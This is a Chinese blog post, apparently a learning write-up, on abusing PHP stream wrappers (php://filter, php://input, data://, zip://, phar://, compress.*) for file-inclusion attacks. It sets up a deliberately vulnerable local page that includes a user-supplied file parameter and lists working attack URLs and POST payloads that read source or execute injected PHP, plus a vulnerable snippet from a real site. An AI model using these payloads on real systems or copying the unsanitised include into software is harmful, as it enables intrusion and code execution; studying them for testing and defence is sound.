php://协议深入理解

V站笔记

今天晚上,听了漏洞银行的大咖公开课讲的内网渗透,感觉和大咖之间还有不少差距,不过搞到了一波工具,心里依然美滋滋~

//文件读取相关函数
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

0x00 PHP伪协议

基于函数include()include_once()两个的利用情况

有如下的协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我就针对经常用到的几个做了整理,这里要感谢各大搜索引擎和部分博主,包括但不限于FREEBUFQ1n6ChaBug


0x01 利用条件

协议

利用条件

说明

用法

file://

allow_url_fopen和allow_url_include双Off情况下可正常使用

访问本地文件系统

file://文件绝对路径和文件名

php://

不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)

访问IO流

php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

zip://,bzip2://,zlib://

双Off条件下可使用

zip://test.zip#x.txt zip://绝对路径#子文件名,x.txt内容就会以php代码执行compress.bzip2://test.bz2和compress.zlib://test.gz用法相同 , https://blog.dyboy.cn/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg

可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

data://

双On

https://blog.dyboy.cn/include.php?file=data://text/plain,<?php phpinfo();?>,或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= , 或者 data:text/plain,<?php phpinfo();?> , 或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=

同样以string可写入php代码,并执行


0x02 大杂烩

利用zip或phar伪协议读取压缩包中的文件

/about.php?f=phar://./images/1499394959.jpg/1.php

/about.php?f=zip://./images/1499394959.jpg%231.php


0x03 本地演练

看了不如练了,所以自己构建本地靶场,来测试感受一下!

<?php
//D:/Server/htdocs/emlog/ctf.php
//伪协议例子

@$file = isset($_GET[file])?$_GET['file']:'ctf.php';
include_once($file);
highlight_file($file);

?>

1.file:// 文件协议: http://www.test.com/ctf.php?file=file://D:/Server/htdocs/emlog/phpinfo.txt 这是file://协议


2.php://filter/read=convert.base64-encode http://www.test.com/ctf.php?file=php://filter/read/convert.base64-encode/resource=phpinfo.txt


3.php://filter 协议: http://www.test.com/ctf.php?file=php://filter/resource=phpinfo.txt

4.php://input 协议 此协议需要allow_url_include=On; 访问:http://www.test.com/ctf.php?file=php://input POST数据:<?php phpinfo(); ?>


5.压缩包协议 此协议类似于file://协议allow_url_fopenallow_url_include的启用与否无关系

链接规范参考如下:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

访问执行php代码: http://www.test.com/ctf.php?file=zip://D:/Server/htdocs/emlog/phpinfo.zip%23phpinfo.txt

其余的压缩包协议也是一样的唉~


6.bzip2:// 协议

usage:compress.bzip2://file.bz2

http://www.test.com/ctf.php?file=compress.bzip2://D:/Server/htdocs/emlog/phpinfo.jpghttp://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg

这个不知道为什么,没有复现成功,只出现了一片空白,哪位大佬可以告知一下嘛???


7.zlib:// 协议

usage:compress.zlib://file.gz

http://www.test.com/ctf.php?file=compress.zlib://D:/Server/htdocs/emlog/phpinfo.jpghttp://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg


8.data:// 协议 Freebuf中的作者已经验证官方文档给出的错误,data://协议需要双On

  1. http://www.test.com/ctf.php?file=data://text/plain,<?php%20phpinfo();%20?>
  2. http://www.test.com/ctf.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== 也可以直接去掉上面链接的//

0x04 总结

知识还是要一点点啃完,虽然边学边写博客,还一边复现,收获很深刻,也希望对大家有帮助!还有文中的问题,麻烦那个大佬解决一下呀~

0x05 补充某网站真实案例

代码精简后如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>xxxxxxxxxx</title>

</head>

<body bgcolor="#00ffff">
      <p>
      <?php 
          $contant=isset($_GET['show']) ? $_GET['show'] : 'xxzx.html'; 
          include(iconv("UTF-8","gb2312",$contant)); 
      ?>
      </p>

</body>
</html>

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

1 条评论
登录 后参与评论

相关文章

来自专栏运维小白

19.12 添加自定义监控项目

添加自定义监控项目 需求:监控某台web的80端口连接数,并出图 两步:1)zabbix监控中心创建监控项目;2)针对该监控项目以图形展现 对于第一步,需要到客...

1888
来自专栏漏斗社区

CTF内存取证入坑指南!稳!

最近,斗哥在刷CTF题目。突然刷到了内存取证类,了解到了一款牛逼的工具——Volatility,在kali linux也默认安装好了这个工具,正好可以好好学习一...

4277
来自专栏SDNLAB

P4编程理论与实践(2)—快速上手

作者简介:郑浩,东南大学本科生,研究方向:OpenFlow,P4。邮箱: zenhox@163.com

1014
来自专栏大魏分享(微信公众号:david-share)

用Ansible自动供应vmware虚拟机--构建数据中心一体化运维平台第二篇

1.1 简述 一直以来,打开邮箱被ticket糊一脸的事情时有发生。我一直在想,能不能以一种简单的方案(不花老板的钱)来供应(provisioning)虚拟机呢...

5282
来自专栏散尽浮华

完整部署CentOS7.2+OpenStack+kvm 云平台环境(3)--为虚拟机指定固定ip

之前在测试环境(centos7.2)上部署了openstack云平台(完整部署CentOS7.2+OpenStack+kvm 云平台环境(1)--基础环境搭建)...

2378
来自专栏Jerry的SAP技术分享

微信程序开发系列教程(二)使用JavaScript给微信用户发送消息

我之前的文章 微信程序开发系列教程(一)开发环境搭建 介绍了微信开发环境的搭建,这篇文章我们就来一步步开发一些具体的功能。

952
来自专栏北京马哥教育

用Kibana和logstash快速搭建实时日志查询、收集与分析系统

日志的分析和监控在系统开发中占非常重要的地位,系统越复杂,日志的分析和监控就越重要,常见的需求有: 根据关键字查询日志详情 监控系统的运行状况 统计分析,比如接...

2655
来自专栏信安之路

路由器漏洞 EXP 开发实践

本文主要以 CVE-2013-0230 漏洞为例,讲解路由器上缓冲区漏洞的 exp 编写。

1110
来自专栏Hadoop实操

3.如何实现OpenLDAP的主主同步

前面Fayson文章讲《1.如何在CentOS6.5安装OpenLDAP并配置客户端》以及《2.OpenLDAP集成SSH登录并使用SSSD同步用户》,那么如何...

3835
来自专栏开发之途

Android 系统权限

1254

扫码关注云+社区